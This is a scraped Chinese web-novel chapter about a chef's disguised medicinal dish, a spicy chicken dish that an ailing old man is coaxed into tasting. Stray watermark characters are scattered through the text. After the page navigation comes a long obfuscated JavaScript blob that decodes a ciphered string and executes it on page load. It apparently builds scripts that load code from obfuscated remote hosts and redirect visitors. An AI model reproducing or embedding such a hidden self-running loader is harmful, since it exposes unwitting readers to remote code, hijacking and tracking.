第855章 想做和能做的区别(2 / 2)

......

收到刘雨侬发过来信息的时候,付宇已经完成了整桌药膳席的烹饪。

既然是试吃,他这位药膳师傅理应在场,观察一下顾客的用餐反应,再了解一下对方的饮食需求。

后厨这边烹饪,向来是完成一道菜肴,上桌一道。

付宇过来贵宾室的时候,徐老爷子已经试吃过几道菜了。

第一道上桌的菜,就是尖椒鸡丁,这道菜其实摆盘造型挺有意思的,最上面一个浅色的福字,瞧着是用鸡丁摆的,而下面衬着嫩绿的尖椒丁,看着就特别清爽。蝎

菜做的很有新意,瞧着也确实不错。

不过,徐老爷子却迟迟不肯动筷子。

他这阵子身体不舒服,胃口欠佳,只敢吃些好克化的饭菜。

像辣椒,肉,这些东西,都是半点也不敢碰,生怕吃了肠胃不舒服,最后还是自己遭罪。

眼瞧着药膳上了桌,徐泽邦顿时一脸难以置信,他转头看向姚石,眼神质疑:这是药膳?

姚石其实也瞧出来了,这道所谓的药膳,哪怕造型做的再有创意,也就是一道普普通通的尖椒鸡丁。

不过,虽然这道药膳瞧着不怎么靠谱,姚石心里头却稳的很。蝎

他很了解付宇的药膳水平,既然这道菜能被端上桌,自然不是凭白来的。

姚石琢磨着,怕不是因为知道徐老爷子不肯服用药物治病,所以像中药材,一般都会有冲呛怪味,即便是少放一些,在口味上也很容易被吃出来。

怕不是这菜其实另添加了中药炒制,只不过上菜时,把药材都挑拣出去了?

又或者干脆直接磨成了粉末,让人吃的出,却挑不出来?

不过,无论是哪种情况,这药膳既然上了桌,就肯定得想办法哄着徐老爷子吃进去才行。

只是......

姚石看着偷偷对自己使眼色的徐泽邦,多少有点头疼。蝎

这事儿没有徐泽邦一起合作,想要劝着徐老爷子用餐,可不是件容易的事情。

偏偏徐泽邦明显对付宇有些不太信任。

这事儿姚石倒是没跟徐泽邦计较,主要也是两人自小一起长大,彼此间太了解了。

徐泽邦是关心则乱,否则以着两人的交情,他能介绍的人选,肯定是百里挑一的,总不会糊弄了事。

尤其是涉及到徐老爷子的身体健康,那更是会用心尽力去帮着张罗。

徐泽邦会觉得付宇不靠谱,主要还是付宇实在太年轻了。

说句心里话,如果不是了解付宇的药膳水平,乍然见到付宇,扪心自问,哪怕是他,也会多少有些质疑。蝎

当着徐老爷子的面,姚石只能对着徐泽邦点点头,示意他稍安勿躁。

“徐叔叔,这道菜就是我店里新推出的菜肴,您帮我试试味道吧?”

姚石说着,动作自然的拿着汤匙盛了一勺菜,放到了徐老爷子面前的碟子里。

同时,他又故意招呼徐泽邦:“泽邦,你也尝尝,看看这道菜怎么样。”

几乎是他话音刚落,徐泽邦就拿起了汤匙,给自己盛了一勺直接送入口中。

姚石瞧见了,不由一愣,他其实没指望徐泽邦真能配合自己行事,不过眼下有了对方帮衬,他不由松了一口气。

“咦!姚哥,你们店这道尖椒鸡丁是用什么做的啊?怎么吃着那么香!”蝎

徐泽邦嘴里问着,手上的汤匙又伸到盘子里盛了一勺,只等着嘴里的食物咽下去,就马上送入口中。

姚石闻言,也给自己盛了一勺,准备试一下味道。

付宇做的药膳,他还真没机会尝过,一般都是直接端上桌,由顾客自己品尝。

眼下听徐泽邦这么一问,姚石忍不住尝了尝。

结果这一口菜进了嘴,他顿时也露出了惊艳的表情。

好吃啊!

鸡丁明明是炒制的,吃起来却特别香嫩。蝎

辣椒丁小小的一块,竟然煎出了虎皮,吃起来辣中带着一丝微甜,混着油香,同鸡肉丁的味道融合的特别完美。

最关键的一点,这菜吃起来味道刚刚好,哪怕只是空口品尝,也不会觉得特别咸,而配饭吃则更是完美。

一口菜进肚,姚石顿时信心倍增,这道菜确实做的地道。

要知道,越是简单的食材,想要做的好,才越考验厨师的水平。

姚石抬头看向徐泽邦,眼不眨,心不慌的信口胡诌道:“这道菜是我们店准备推出的新菜品,也是付厨的拿手绝活,别看这食材方面没什么稀罕,但像是鸡肉和辣椒,这种越是常见的食材,其实越不好做。”

徐泽邦对于烹饪方面虽然不是很擅长,但自小跟在父亲身边,耳濡目染,多少也略通一二。

闻言,不由赞同的点点头。蝎

姚石一番话说完,又对着徐老爷子劝道:“徐叔叔,你快趁热尝一尝,这菜口味方面怎么样?”

徐老爷子刚才听着姚石说话,心里头也是非常认同的,这炒菜和煲汤其实大同小异。

汤品想要煲的鲜美,并不是一件容易的事情。

而能将简单的食材煲出鲜美可口的味道,才能突出一位厨师的厨艺水平。

他其实真的没什么胃口,尤其是担心这尖椒和鸡丁吃下去,肠胃再遭罪,更是不想动筷子。

可是姚石特意请他过来帮着试菜,实在盛情难却。

徐老爷子看了眼一脸殷切的姚石,正有点犹豫,就听着徐泽邦说道:“我吃着这道菜真挺好的,虽然是尖椒和鸡丁做的,但吃着就是不太一样。不过太具体的,我也说不清楚,这方面还得我爸来,他专业。”蝎

被自己儿子夸赞,徐老爷子心情愉悦,又见姚石一副殷切期盼的模样,只得勉为其难的拿起汤匙,尝了一口菜。

结果这一尝,徐老爷子不由夸口称赞道:“这尖椒鸡丁做的地道啊!火候刚刚好,鸡丁软嫩,尖椒丁更是油煎的恰到好处!付厨这手艺确实不赖!”

“而且......”徐老爷子咂砸嘴,细细品了下滋味:“这咸淡刚刚好,我这嘴里其实也没什么滋味,但吃着这菜,却觉得挺开胃。”

徐老爷子嘴上说道,忍不住又盛了勺菜,这一次,他嚼的更仔细了。

先不说这鸡丁炒的怎么样,光是这辣椒丁的过油,做的就特别完美。

投推荐票

上一章

章节目录

下一章

加入书签

返回书架

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();